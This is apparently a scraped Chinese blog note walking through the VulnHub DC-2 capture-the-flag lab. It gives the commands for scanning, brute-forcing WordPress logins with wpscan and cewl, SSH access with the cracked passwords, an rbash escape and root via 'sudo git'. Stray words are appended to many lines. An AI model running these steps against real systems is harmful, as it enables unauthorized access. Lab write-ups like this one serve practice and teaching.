【我的筆記】打靶訓練-VulnHub系列項目2:DC-2(環境佈置、下載地址、練習步驟、掃描網址、DNS域名解析、爆破網站目錄、字典爆破、ssh遠程登錄、git提權等)

打靶訓練-項目2:DC-2

2021-08-09php

 

0.環境佈置

 

個人選擇html

虛擬機:VMware15git

攻擊機:kali-2021瀏覽器

靶機:DC-2bash

瀏覽器:谷歌瀏覽器、火狐瀏覽器ssh

 

DC-2靶機下載地址:tcp

https://www.vulnhub.com/entry/dc-2,311/工具

其餘下載內容見我以前的博客或者本身搜索網站

 

各個設備的關係ui

kali與DC-2均爲橋接模式

使得本機、kali、DC-2成爲三個獨立的設備

也能夠kali與DC-2均爲NAT模式,則本機成爲路由器(網關)

 

1.靶機訓練

掃描主機

  • arp-scan -l

    192.168.10.105

 

  • nmap -sV -A -p- 192.168.10.105

    80/tcp open http Apache httpd 2.4.10 ((Debian))

    7744/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)

     

  • 瀏覽器登錄網址失敗

    失敗緣由:本機DNS解析沒有設置

    Windows10設置DNS解析:C:\Windows\System32\drivers\etc\hosts

    Kali Linux 設置DNS解析:vi /etc/hosts

    格式:IP <Tab鍵> 域名

    eg:192.168.10.105 dc-2

  • 成功登錄之後

    發現cewl,cewl是kali自帶的可以生成密碼字典的工具

    發現wordlist,kali系統自帶的字典

 

爆破目錄

 

字典爆破

  • wpscan掃描工具+cewl字典生成工具+wordlist字典工具(可選項)

    wpscan教程:https://idc.wanyunshuju.com/aqst/1885.html

  • 生成用戶字典

    #更新升級
    wpscan --update

    #用戶枚舉
    wpscan –url http://dc-2 -eu
    #admin jerry tom

    #創建用戶字典user.txt
    vi user.txt

    admin
    jerry
    tom
  • 生成密碼字典

    #使用cewl生成有關於目標網站的字典passwd.txt
    cewl http://dc-2/ -w passwd.txt
  • 字典爆破

    #使用wpscan對網站進行爆破
    wpscan --ignore-main-redirect --url http://dc-2/ -U user.txt -P passwd.txt -t 30

    #Username: jerry, Password: adipiscing
    #Username: tom, Password: parturient

    #也能夠使用burpsuite爆破

 

遠程登錄

  • 嘗試用戶ssh

    7744/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)

    #jerry登錄失敗,Password: adipiscing
    ssh jerry@192.168.10.105 -p 7744

    #tom登錄成功,Password: parturient
    ssh tom@192.168.10.105 -p 7744

    ls
    tom@DC-2:~$ ls
    flag3.txt usr
    tom@DC-2:~$ vi flag3.txt
  • 切換用戶

    #su到jerry,受限制
    tom@DC-2:~$ su jerry
    -rbash: su: command not found

    #繞過rbash限制
    BASH_CMDS[a]=/bin/sh;a
    export PATH=$PATH:/bin/
    export PATH=$PATH:/usr/bin

    su jerry
    cd /home/jerry
    cat flag4.txt
    #Go on - git outta here!!!!

     

git提權

  • sudo -l

    git命令須要去了解

    sudo命令須要去了解

    sudo -l:查看一些信息,發現能夠經過使用git進行root提權

  • git提權

    sudo git help config
    #在末行命令模式輸入
    !/bin/bash 或 !‘sh’
    #完成提權

    cd /root/
    ls
    catfinal-flag.txt
    #結束
相關文章
相關標籤/搜索